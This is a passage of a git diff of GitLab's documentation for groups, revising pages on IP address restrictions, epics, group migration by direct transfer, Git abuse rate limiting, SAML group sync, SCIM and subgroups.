the permitted protocols from **Enabled Git access protocols**. 1. Select **Save changes**. -## Restrict access to groups by IP address **(PREMIUM)** +## Restrict group access by IP address **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1985) in GitLab 12.0. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/215410) from GitLab Ultimate to GitLab Premium in 13.1. @@ -66,16 +66,32 @@ address. This group-level setting applies to: - The GitLab UI, including subgroups, projects, and issues. - [In GitLab 12.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/12874), the API. +- In self-managed installations of GitLab 15.1 and later, you can also configure +[globally-allowed IP address ranges](../admin_area/settings/visibility_and_access_controls.md#configure-globally-allowed-ip-address-ranges) +at the group level. Administrators can combine restricted access by IP address with [globally-allowed IP addresses](../admin_area/settings/visibility_and_access_controls.md#configure-globally-allowed-ip-address-ranges). +To restrict group access by IP address: + +1. On the top bar, select **Main menu > Groups** and find your group. +1. On the left sidebar, select **Settings > General**. +1. Expand the **Permissions and group features** section. +1. In the **Restrict access by IP address** text box, enter a list of IPv4 or IPv6 + address ranges in CIDR notation. This list: + - Has no limit on the number of IP address ranges. + - Has a size limit of 1 GB. + - Applies to both SSH or HTTP authorized IP address ranges. You cannot split + this list by type of authorization. +1. Select **Save changes**. + ### Security implications -You should consider some security implications before configuring IP address restrictions. +Keep in mind that restricting group access by IP address has the following implications: - Administrators and group owners can access group settings from any IP address, regardless of IP restriction. However: - - Groups owners cannot access projects belonging to the group when accessing from a disallowed IP address. + - Group owners can access the subgroups, but not the projects belonging to the group or subgroups, when accessing from a disallowed IP address. - Administrators can access projects belonging to the group when accessing from a disallowed IP address. Access to projects includes cloning code from them. - Users can still see group and project names and hierarchies. Only the following are restricted: @@ -84,30 +100,11 @@ You should consider some security implications before configuring IP address res - When you register a runner, it is not bound by the IP restrictions. When the runner requests a new job or an update to a job's state, it is also not bound by the IP restrictions. But when the running CI/CD job sends Git requests from a restricted IP address, the IP restriction prevents code from being cloned. -- Users may still see some events from the IP restricted groups and projects on their dashboard. Activity may include +- Users might still see some events from the IP-restricted groups and projects on their dashboard. Activity might include push, merge, issue, or comment events. - IP access restrictions for Git operations via SSH are supported only on GitLab SaaS. IP access restrictions applied to self-managed instances block SSH completely. -### Restrict group access by IP address - -To restrict group access by IP address: - -1. On the top bar, select **Main menu > Groups** and find your group. -1. On the left sidebar, select **Settings > General**. -1. Expand the **Permissions and group features** section. -1. In the **Restrict access by IP address** field, enter a list of IPv4 or IPv6 - address ranges in CIDR notation. This list: - - Has no limit on the number of IP address ranges. - - Has a size limit of 1 GB. - - Applies to both SSH or HTTP authorized IP address ranges. You cannot split - this list by type of authorization. -1. Select **Save changes**. - -In self-managed installations of GitLab 15.1 and later, you can also configure -[globally-allowed IP address ranges](../admin_area/settings/visibility_and_access_controls.md#configure-globally-allowed-ip-address-ranges) -at the group level. - ## Restrict group access by domain **(PREMIUM)** > - Support for specifying multiple email domains [added](https://gitlab.com/gitlab-org/gitlab/-/issues/33143) in GitLab 13.1. @@ -170,11 +167,13 @@ To prevent sharing outside of the group's hierarchy: ## Prevent a project from being shared with groups -Prevent projects in a group from -[sharing a project with another group](../project/members/share_project_with_groups.md) -to enable tighter control over project access. +[Sharing a project with another group](../project/members/share_project_with_groups.md) +increases the number of users who can invite yet more members to the project. +Each (sub)group can be an additional source of access permissions, +which can be confusing and difficult to control. -To prevent a project from being shared with other groups: +To restrict the permission to invite project members to a single source, +prevent a project from being shared with other groups: 1. On the top bar, select **Main menu > Groups** and find your group. 1. On the left sidebar, select **Settings > General**. @@ -302,4 +301,4 @@ If a user sees a 404 when they would normally expect access, and the problem is - `json.message`: `'Attempting to access IP restricted group'` - `json.allowed`: `false` -In viewing the log entries, compare the `remote.ip` with the list of [allowed IP addresses](#restrict-access-to-groups-by-ip-address) for the group. +In viewing the log entries, compare `remote.ip` with the list of [allowed IP addresses](#restrict-group-access-by-ip-address) for the group. diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md index 62f5a3ba54f..cb760217487 100644 --- a/doc/user/group/clusters/index.md +++ b/doc/user/group/clusters/index.md @@ -111,7 +111,7 @@ The domain should have a wildcard DNS configured to the Ingress IP address. [Mor When adding more than one Kubernetes cluster to your project, you need to differentiate them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the -[environment-specific CI/CD variables](../../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) +[environment-specific CI/CD variables](../../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) work. While evaluating which environment matches the environment scope of a diff --git a/doc/user/group/compliance_frameworks.md b/doc/user/group/compliance_frameworks.md index 0e976cec866..9f40f9e84bf 100644 --- a/doc/user/group/compliance_frameworks.md +++ b/doc/user/group/compliance_frameworks.md @@ -25,9 +25,9 @@ Group owners can create, edit, and delete compliance frameworks: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375036) in GitLab 15.6. -Group owners can set a default compliance framework. The default framework is applied to all the new projects -that are created within that group. It does not affect the framework applied to the existing projects. The default -framework cannot be deleted. +Group owners can set a default compliance framework. The default framework is applied to all the new and imported +projects that are created within that group. It does not affect the framework applied to the existing projects. The +default framework cannot be deleted. A compliance framework that is set to default has a **default** label. @@ -237,7 +237,7 @@ can be configured to be: Generally, if a value in a compliance job: - Is set, it cannot be changed or overridden by project-level configurations. -- Is not set, a project-level configuration may set. +- Is not set, a project-level configuration may be set. Either might be wanted or not depending on your use case. diff --git a/doc/user/group/custom_project_templates.md b/doc/user/group/custom_project_templates.md index 547e64df7c5..2716db27037 100644 --- a/doc/user/group/custom_project_templates.md +++ b/doc/user/group/custom_project_templates.md @@ -9,12 +9,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6861) in GitLab 11.6. -When you create a project, you can [choose from a list of templates](../project/working_with_projects.md#create-a-project). +When you create a project, you can [choose from a list of templates](../project/index.md#create-a-project). These templates, for things like GitLab Pages or Ruby, populate the new project with a copy of the files contained in the template. This information is identical to the information used by [GitLab project import/export](../project/settings/import_export.md) and can help you start a new project more quickly. -You can [customize the list](../project/working_with_projects.md#create-a-project) of available templates, so +You can [customize the list](../project/index.md#create-a-project) of available templates, so that all projects in your group have the same list. To do this, you populate a subgroup with the projects you want to use as templates. @@ -40,7 +40,7 @@ Projects in nested subgroups are not included in the template list. ## Which projects are available as templates -- Public and internal projects can be selected by any signed-in user as a template for a new project, +- Public and internal projects can be selected by any authenticated user as a template for a new project, if all [project features](../project/settings/index.md#configure-project-visibility-features-and-permissions) except for **GitLab Pages** and **Security & Compliance** are set to **Everyone With Access**. - Private projects can be selected only by users who are members of the projects. diff --git a/doc/user/group/epics/linked_epics.md b/doc/user/group/epics/linked_epics.md index 4049ac2e9a1..63bf1a4471c 100644 --- a/doc/user/group/epics/linked_epics.md +++ b/doc/user/group/epics/linked_epics.md @@ -20,9 +20,11 @@ To manage linked epics through our API, visit the [epic links API documentation] ## Add a linked epic +> Minimum required role for the group [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/381308) from Reporter to Guest in GitLab 15.8. + Prerequisites: -- You must have at least the Reporter role for both groups. +- You must have at least the Guest role for both groups. - For GitLab SaaS: the epic that you're editing must be in a group on GitLab Ultimate. The epics you're linking can be in a group on a lower tier. @@ -59,9 +61,11 @@ The linked epics are then displayed on the epic grouped by relationship. ## Remove a linked epic +> Minimum required role for the group [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/381308) from Reporter to Guest in GitLab 15.8. + Prerequisites: -- You must have at least the Reporter role for the epic's group. +- You must have at least the Guest role for the epic's group. To remove a linked epic, in the **Linked epics** section of an epic, select **Remove** (**{close}**) next to diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md index 8e7b6fd82ad..fa8f96952b3 100644 --- a/doc/user/group/epics/manage_epics.md +++ b/doc/user/group/epics/manage_epics.md @@ -341,6 +341,8 @@ automatically added to the epic. #### Add an existing issue to an epic +> Minimum required role for the project [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/382506) from Reporter to Guest in GitLab 15.8. + You can add existing issues to an epic, including issues in a project from a [different group hierarchy](index.md#child-issues-from-different-group-hierarchies). Newly added issues appear at the top of the list of issues in the **Epics and Issues** tab. @@ -350,8 +352,7 @@ current parent. Prerequisites: -- You must be able to [view the epic](#who-can-view-an-epic). -- You must be able to [edit the issue](../../project/issues/managing_issues.md#edit-an-issue). +- You must have at least the Guest role for the issue's project and the epic's group. To add an existing issue to an epic: @@ -368,13 +369,14 @@ To add an existing issue to an epic: #### Create an issue from an epic +> Minimum required role for the project [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/382506) from Reporter to Guest in GitLab 15.8. + Creating an issue from an epic enables you to maintain focus on the broader context of the epic while dividing work into smaller parts. Prerequisites: -- You must be able to [view the epic](#who-can-view-an-epic). -- You must have at least the Reporter role for the project. +- You must have at least the Guest role for the issue's project and the epic's group. To create an issue from an epic: @@ -388,13 +390,14 @@ The new issue is assigned to the epic. ### Remove an issue from an epic +> Minimum required role for the project [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/382506) from Reporter to Guest in GitLab 15.8. + You can remove issues from an epic when you're on the epic's details page. After you remove an issue from an epic, the issue is no longer associated with this epic. Prerequisites: -- You must have at least the Reporter role for the epic's group. -- You must be able to [edit the issue](../../project/issues/managing_issues.md#edit-an-issue). +- You must have at least the Guest role for the issue's project and the epic's group. To remove an issue from an epic: @@ -406,14 +409,15 @@ To remove an issue from an epic: ### Reorder issues assigned to an epic -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9367) in GitLab 12.5. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9367) in GitLab 12.5. +> - Minimum required role for the project [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/382506) from Reporter to Guest in GitLab 15.8. New issues appear at the top of the list in the **Epics and Issues** tab. You can reorder the list of issues by dragging them. Prerequisites: -- You must have at least the Reporter role for the epic's group. +- You must have at least the Guest role for the issue's project and the epic's group. To reorder issues assigned to an epic: @@ -422,15 +426,15 @@ To reorder issues assigned to an epic: ### Move issues between epics **(ULTIMATE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33039) in GitLab 13.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33039) in GitLab 13.0. +> - Minimum required role for the project [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/382506) from Reporter to Guest in GitLab 15.8. New issues appear at the top of the list in the **Epics and Issues** tab. You can move issues from one epic to another. Prerequisites: -- You must have at least the Reporter role for the epic's group. -- You must be able to [edit the issue](../../project/issues/managing_issues.md#edit-an-issue). +- You must have at least the Guest role for the issue's project and the epic's group. To move an issue to another epic: diff --git a/doc/user/group/import/img/bulk_imports_v14_1.png b/doc/user/group/import/img/bulk_imports_v14_1.png Binary files differdeleted file mode 100644 index fb419c1df6c..00000000000 --- a/doc/user/group/import/img/bulk_imports_v14_1.png +++ /dev/null diff --git a/doc/user/group/import/index.md b/doc/user/group/import/index.md index 9a671ff6679..c264b5ceaf8 100644 --- a/doc/user/group/import/index.md +++ b/doc/user/group/import/index.md @@ -26,20 +26,16 @@ If you migrate from GitLab.com to self-managed GitLab, an administrator can crea > - Group items [enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/338985) in GitLab 14.3. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267945) in GitLab 14.4 for project resources [with a flag](../../feature_flags.md) named `bulk_import_projects`. Disabled by default. > - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/339941) in GitLab 15.6. +> - New application setting `bulk_import_enabled` [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/383268) in GitLab 15.8. `bulk_import` feature flag removed. FLAG: -On self-managed GitLab, by default [migrating group items](#migrated-group-items) is available. To hide the -feature, ask an administrator to [disable the feature flag](../../../administration/feature_flags.md) named `bulk_import`. -On self-managed GitLab, by default [migrating project items](#migrated-project-items) is not available. To show +On self-managed GitLab, by default [migrating group items](#migrated-group-items) is not available. To show the +feature, ask an administrator to [enable it in application settings](../../admin_area/settings/visibility_and_access_controls.md#enable-migration-of-groups-and-projects-by-direct-transfer). +Also on self-managed GitLab, by default [migrating project items](#migrated-project-items-beta) is not available. To show this feature, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named -`bulk_import_projects`. On GitLab.com, migration of both groups and projects is available. +`bulk_import_projects`. The feature is not ready for production use. On GitLab.com, migration of both groups and projects is available. -Prerequisites: - -- Network connection between instances or GitLab.com. Must support HTTPS. -- Owner role on the top-level group to migrate. - -You can import top-level groups to: +You can migrate top-level groups to: - Another top-level group. - The subgroup of any existing top-level group. @@ -47,15 +43,34 @@ You can import top-level groups to: You can migrate: -- By direct transfer using either the UI or the [API](../../../api/bulk_imports.md). +- By direct transfer through either the UI or the [API](../../../api/bulk_imports.md). - Many groups at once. +- With projects (in [Beta](../../../policy/alpha-beta-support.md#beta-features) and not ready for production use) or + without projects. -When migrating a top-level group to GitLab.com, all its subgroups and projects are migrated too. +When you migrate a group by direct transfer, you can also migrate subgroups and projects. When you migrate a group: + +- To GitLab.com, all its subgroups and projects are migrated too. +- To a self-managed instance, migrating project items is not available by default. An administrator must + [enable the feature flag](../../../administration/feature_flags.md) named `bulk_import_projects`. + +WARNING: +Migrating subgroups and projects this way is in [Beta](../../../policy/alpha-beta-support.md#beta-features) and is not +ready for production use. Not all group and project resources are imported. See list of migrated resources below: - [Migrated group items](#migrated-group-items). -- [Migrated project items](#migrated-project-items). +- [Migrated project items](#migrated-project-items-beta). + +Prerequisites: + +- Network connection between instances or GitLab.com. Must support HTTPS. +- Both GitLab instances have [migration enabled in application settings](../../admin_area/settings/visibility_and_access_controls.md#enable-migration-of-groups-and-projects-by-direct-transfer) + by an instance administrator. +- Owner role on the top-level source group to migrate from. +- At least the Maintainer role on the destination group to migrate to. Using the Developer role for this purpose was + [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. ### Preparation @@ -94,16 +109,19 @@ Create the group you want to import to and connect the source: ### Select the groups to import +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385689) in GitLab 15.8, option to import groups with or without projects. + After you have authorized access to the source GitLab instance, you are redirected to the GitLab group importer page. The top-level groups on the connected source instance you have the Owner role for are listed. 1. By default, the proposed group namespaces match the names as they exist in source instance, but based on your permissions, you can choose to edit these names before you proceed to import any of them. -1. Next to the groups you want to import, select **Import**. +1. Next to the groups you want to import, select either: + - **Import with projects**. Importing groups with projects is in [Beta](../../../policy/alpha-beta-support.md#beta-features). This feature is not ready for production use. + - **Import without projects**. + - **Import** on self-managed GitLab, when the `bulk_import_projects` feature flag is disabled and the feature is not available. 1. The **Status** column shows the import status of each group. If you leave the page open, it updates in real-time. 1. After a group has been imported, select its GitLab path to open its GitLab URL. - - ### Group import history You can view all groups migrated by you by direct transfer listed on the group import history page. This list includes: @@ -155,19 +173,25 @@ Group items that are migrated to the target instance include: Any other items are **not** migrated. -### Migrated project items +### Migrated project items (beta) > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267945) in GitLab 14.4 [with a flag](../../feature_flags.md) named `bulk_import_projects`. Disabled by default. > - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/339941) in GitLab 15.6. FLAG: -On self-managed GitLab, migrating project resources when migrating groups is not available by default. To make it available ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `bulk_import_projects`. On GitLab.com, groups are migrated with all their projects by default. +On self-managed GitLab, migrating project resources when migrating groups is not available by default. +To make it available ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named +`bulk_import_projects`. On GitLab.com, groups are migrated with all their projects by default. The [`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/import_export/project/import_export.yml) file for projects lists many of the items imported when migrating projects using group migration. View this file in the branch for your version of GitLab to see the list of items relevant to you. For example, [`import_export.yml` on the `14-10-stable-ee` branch](https://gitlab.com/gitlab-org/gitlab/-/blob/14-10-stable-ee/lib/gitlab/import_export/project/import_export.yml). +WARNING: +Migrating projects when migrating groups by direct transfer is in [Beta](../../../policy/alpha-beta-support.md#beta-features) +and is not ready for production use. + Project items that are migrated to the target instance include: - Projects ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267945) in GitLab 14.4) @@ -390,7 +414,7 @@ You can also export a group [using the API](../../../api/group_import_export.md) 1. Create a new group: - On the top bar, select **Create new…** (**{plus-square}**) and then **New group**. - - On an existing group's page, select the **New subgroup** button. + - On an existing group's page, select **New subgroup**. 1. Select **Import group**. 1. Enter your group name. 1. Accept or modify the associated group URL. @@ -405,7 +429,7 @@ The maximum import file size can be set by the administrator, default is `0` (un As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin Area](../../admin_area/settings/account_and_limit_settings.md). -Default [modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to 0 in GitLab 13.8. +Default [modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50 MB to 0 in GitLab 13.8. ### Rate limits diff --git a/doc/user/group/index.md b/doc/user/group/index.md index 62659938d91..db01358d899 100644 --- a/doc/user/group/index.md +++ b/doc/user/group/index.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -25,7 +25,7 @@ For more information about creating and managing your groups, see [Manage groups Like projects, a group can be configured to limit the visibility of it to: - Anonymous users. -- All signed-in users. +- All authenticated users. - Only explicit group members. The restriction for [visibility levels](../admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels) diff --git a/doc/user/group/manage.md b/doc/user/group/manage.md index 414b80d0f1d..a755447c47c 100644 --- a/doc/user/group/manage.md +++ b/doc/user/group/manage.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -213,7 +213,7 @@ To avoid this problem, GitLab administrators can [ensure removed users cannot in There are two different ways to add a new project to a group: -- Select a group, and then select **New project**. You can then continue [creating your project](../../user/project/working_with_projects.md#create-a-project). +- Select a group, and then select **New project**. You can then continue [creating your project](../../user/project/index.md#create-a-project). - While you are creating a project, select a group from the dropdown list.  diff --git a/doc/user/group/reporting/git_abuse_rate_limit.md b/doc/user/group/reporting/git_abuse_rate_limit.md index 1cf3a9dbe7d..a5515079294 100644 --- a/doc/user/group/reporting/git_abuse_rate_limit.md +++ b/doc/user/group/reporting/git_abuse_rate_limit.md @@ -4,12 +4,12 @@ group: Anti-Abuse info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Git abuse rate limit **(ULTIMATE SELF)** +# Git abuse rate limit **(ULTIMATE)** > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/8066) in GitLab 15.2 [with a flag](../../../administration/feature_flags.md) named `limit_unique_project_downloads_per_namespace_user`. Disabled by default. FLAG: -On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `limit_unique_project_downloads_per_namespace_user`. On GitLab.com, this feature is not available. +On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `limit_unique_project_downloads_per_namespace_user`. On GitLab.com, this feature is available. Git abuse rate limiting is a feature to automatically ban users who download or clone more than a specified number of repositories in a group or any of its subgroups within a given time frame. Banned users cannot access the main group or any of its non-public subgroups via HTTP or SSH. Access to unrelated groups is unaffected. @@ -31,6 +31,10 @@ If automatic banning is enabled, users with the Owner role for the main group re ## Unban a user +Prerequisites: + +- You must have the Owner role. + 1. On the left sidebar, select **Group information > Members**. 1. Select the **Banned** tab. 1. For the account you want to unban, select **Unban**. diff --git a/doc/user/group/saml_sso/group_sync.md b/doc/user/group/saml_sso/group_sync.md index 80d145fc6bb..65c4d68f743 100644 --- a/doc/user/group/saml_sso/group_sync.md +++ b/doc/user/group/saml_sso/group_sync.md @@ -27,19 +27,40 @@ You must include the SAML configuration block on all Sidekiq nodes in addition t - Use SAML Group Sync. - Have multiple GitLab nodes, for example in a distributed or highly available architecture. +NOTE: +SAML Group Sync is only supported for the [SAML provider named `saml`](../../../integration/saml.md#configure-gitlab-to-use-multiple-saml-idps). +As a result, SAML Group Sync only supports a single SAML provider. For more information, see [issue 386605](https://gitlab.com/gitlab-org/gitlab/-/issues/386605). + WARNING: To prevent users being accidentally removed from the GitLab group, follow these instructions closely before enabling Group Sync in GitLab. -To configure SAML Group Sync: - -1. Configure the identity Provider: - - For self-managed GitLab, see the [SAML OmniAuth Provider documentation](../../../integration/saml.md). - - For GitLab.com, see the [SAML SSO for GitLab.com groups documentation](index.md). - -1. Capture [a SAML response](troubleshooting.md#saml-debugging-tools) during the sign-in process to confirm your SAML identity provider sends an attribute statement: - - For self-managed GitLab, with the same name as the value of the `groups_attribute` setting. - - For GitLab.com, named `Groups` or `groups`. +To configure SAML Group Sync for self-managed GitLab instances: + +1. Configure the [SAML OmniAuth Provider](../../../integration/saml.md). +1. Ensure your SAML identity provider sends an attribute statement with the same name as the value of the `groups_attribute` setting. See the following attribute statement example for reference: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { + name: "saml", + label: "Provider name", # optional label for login button, defaults to "Saml", + groups_attribute: 'Groups', + args: { + assertion_consumer_service_url: "https://gitlab.example.com/users/auth/saml/callback", + idp_cert_fingerprint: "43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8", + idp_sso_target_url: "https://login.example.com/idp", + issuer: "https://gitlab.example.com", + name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent" + } + } + ] + ``` + +To configure SAML Group Sync for GitLab.com instances: + +1. See [SAML SSO for GitLab.com groups](index.md). +1. Ensure your SAML identity provider sends an attribute statement named `Groups` or `groups`. NOTE: The value for `Groups` or `groups` in the SAML response may be either the group name or an ID. diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md index bd10560e138..1275e3a21e4 100644 --- a/doc/user/group/saml_sso/index.md +++ b/doc/user/group/saml_sso/index.md @@ -157,7 +157,7 @@ When the transparent SSO enforcement feature flag is enabled, SSO is enforced as | Public | Off | Enforced | Not enforced | Not enforced | | Public | On | Enforced | Enforced | Not enforced | -An [issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/297389) to add a similar SSO requirement for API activity. +An [issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/297389) to add a similar SSO requirement for API and GitLab Pages activities. SSO enforcement has the following effects when enabled: @@ -370,7 +370,11 @@ On subsequent visits, you should be able to go [sign in to GitLab.com with SAML] ### Change NameID for one or more users -If the NameID changes for one or more users, they need to reconnect their SAML account. +> Update of SAML identities using the SAML API [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227841) in GitLab 15.5. + +Group owners can update the SAML identities for their group members using the [SAML API](../../../api/saml.md). + +Alternatively, ask the users to reconnect their SAML account. 1. Ask relevant users to [unlink their account from the group](#unlinking-accounts). 1. Ask relevant users to [link their account to the new SAML app](#linking-saml-to-your-existing-gitlabcom-account). diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md index 18af39f4271..8c30c246566 100644 --- a/doc/user/group/saml_sso/scim_setup.md +++ b/doc/user/group/saml_sso/scim_setup.md @@ -15,7 +15,7 @@ GitLab SAML SSO SCIM doesn't support updating users. When SCIM is enabled for a GitLab group, membership of that group is synchronized between GitLab and an identity provider. -The [internal GitLab SCIM API](../../../development/internal_api/index.md#scim-api) implements part of [the RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644). +The [internal GitLab group SCIM API](../../../development/internal_api/index.md#group-scim-api) implements part of [the RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644). ## Configure GitLab @@ -121,7 +121,7 @@ attributes and modify them accordingly. In particular, the `objectId` source att target attribute. If a mapping is not listed in the table, use the Azure Active Directory defaults. For a list of required attributes, -refer to the [internal SCIM API](../../../development/internal_api/index.md#scim-api) documentation. +refer to the [internal group SCIM API](../../../development/internal_api/index.md#group-scim-api) documentation. ### Configure Okta diff --git a/doc/user/group/saml_sso/troubleshooting.md b/doc/user/group/saml_sso/troubleshooting.md index f8075e62ecc..a42d3f8fd03 100644 --- a/doc/user/group/saml_sso/troubleshooting.md +++ b/doc/user/group/saml_sso/troubleshooting.md @@ -52,7 +52,7 @@ You can use one of the following to troubleshoot SAML: - A [quick start guide to start a Docker container](../../../administration/troubleshooting/test_environments.md#saml) with a plug and play SAML 2.0 identity provider if you only require a SAML provider. - A local environment by - [enabling SAML for groups on a self-managed instance](../../../integration/saml.md#group-saml-on-a-self-managed-gitlab-instance). + [enabling SAML for groups on a self-managed instance](../../../integration/saml.md#configure-group-saml-sso-on-a-self-managed-instance). ## Verify configuration @@ -233,6 +233,13 @@ If you receive a `404` during setup when using "verify configuration", make sure If a user is trying to sign in for the first time and the GitLab single sign-on URL has not [been configured](index.md#configure-your-identity-provider), they may see a 404. As outlined in the [user access section](index.md#linking-saml-to-your-existing-gitlabcom-account), a group Owner needs to provide the URL to users. +If all users are receiving a `404` after signing in to the identity provider (IdP), verify the `assertion_consumer_service_url`: + +- In the GitLab configuration by [matching it to the HTTPS endpoint of GitLab](../../../integration/saml.md#configure-saml-support-in-gitlab). +- As the `Assertion Consumer Service URL` or equivalent when setting up the SAML app on your IdP. + +For configuration examples for some of the common providers, see the [example group SAML and SCIM configurations](example_saml_config.md). + ### 500 error after login **(FREE SELF)** If you see a "500 error" in GitLab when you are redirected back from the SAML @@ -281,3 +288,12 @@ this means: A GitLab group Owner can use the [SAML API](../../../api/saml.md) to update the user's SAML `extern_uid`. The `extern_uid` value must match the Name ID value sent by the SAML identity provider (IdP). Depending on the IdP configuration this may be a generated unique ID, an email address, or other value. + +## Message: "The member's email address is not linked to a SAML account" **(PREMIUM SAAS)** + +This error appears when you try to invite a user to a GitLab.com group (or subgroup or project within a group) that has [SAML SSO enforcement](index.md#sso-enforcement) enabled. + +If you see this message after trying to invite a user to a group: + +1. Ensure the user has been [added to the SAML identity provider](index.md#user-access-and-management). +1. Ask the user to [link SAML to their existing GitLab.com account](index.md#linking-saml-to-your-existing-gitlabcom-account), if they have one. Otherwise, ask the user to create a GitLab.com account by [accessing GitLab.com through the identity provider's dashboard](index.md#user-access-and-management), or by [signing up manually](https://gitlab.com/users/sign_up) and linking SAML to their new account. diff --git a/doc/user/group/saml_sso/troubleshooting_scim.md b/doc/user/group/saml_sso/troubleshooting_scim.md index 22562c51e9e..939ed804a99 100644 --- a/doc/user/group/saml_sso/troubleshooting_scim.md +++ b/doc/user/group/saml_sso/troubleshooting_scim.md @@ -100,7 +100,7 @@ Changing the SAML or SCIM configuration or provider can cause the following prob GitLab.com administrators can search for SCIM requests in the `api_json.log` using the `pubsub-rails-inf-gprd-*` index in [Kibana](https://about.gitlab.com/handbook/support/workflows/kibana.html#using-kibana). Use the following filters based -on the internal [SCIM API](../../../development/internal_api/index.md#scim-api): +on the internal [group SCIM API](../../../development/internal_api/index.md#group-scim-api): - `json.path`: `/scim/v2/groups/<group-path>` - `json.params.value`: `<externalId>` diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md index 95c8e60af5d..f8d3456648d 100644 --- a/doc/user/group/subgroups/index.md +++ b/doc/user/group/subgroups/index.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -66,16 +66,16 @@ In the hierarchy list, public groups with a private subgroup have an expand opti for all users that indicate there is a subgroup. When users who are not direct or inherited members of the private subgroup select expand (**{chevron-down}**), the nested subgroup does not display. -If you prefer to keep information about the presence of nested subgroups private, we advise that you only -add private subgroups to private parent groups. +If you prefer to keep information about the presence of nested subgroups private, we advise that you +add private subgroups only to private parent groups. ## Create a subgroup Prerequisites: -- You must either: - - Have at least the Maintainer role for a group to create subgroups for it. - - Have the [role determined by a setting](#change-who-can-create-subgroups). These users can create +- You must have either: + - At least the Maintainer role for a group to create subgroups for it. + - The [role determined by a setting](#change-who-can-create-subgroups). These users can create subgroups even if group creation is [disabled by an Administrator](../../admin_area/index.md#prevent-a-user-from-creating-groups) in the user's settings. @@ -92,8 +92,9 @@ To create a subgroup: ### Change who can create subgroups -To create a subgroup, you must have at least the Maintainer role on the group, depending on the group's setting. By -default: +Prerequisite: + +- You must have at least the Maintainer role on the group, depending on the group's setting. To change who can create subgroups on a group: @@ -120,11 +121,11 @@ There is a bug that causes some pages in the parent group to be accessible by su When you add a member to a group, that member is also added to all subgroups. The user's permissions are inherited from the group's parent. -Subgroup members can: +Subgroup members can be: -1. Be [direct members](../../project/members/index.md#add-users-to-a-project) of the subgroup. -1. [Inherit membership](../../project/members/index.md#inherited-membership) of the subgroup from the subgroup's parent group. -1. Be a member of a group that was [shared with the subgroup's top-level group](../manage.md#share-a-group-with-another-group). +1. [Direct members](../../project/members/index.md#add-users-to-a-project) of the subgroup. +1. [Inherited members](../../project/members/index.md#inherited-membership) of the subgroup from the subgroup's parent group. +1. Members of a group that was [shared with the subgroup's top-level group](../manage.md#share-a-group-with-another-group). ```mermaid flowchart RL diff --git 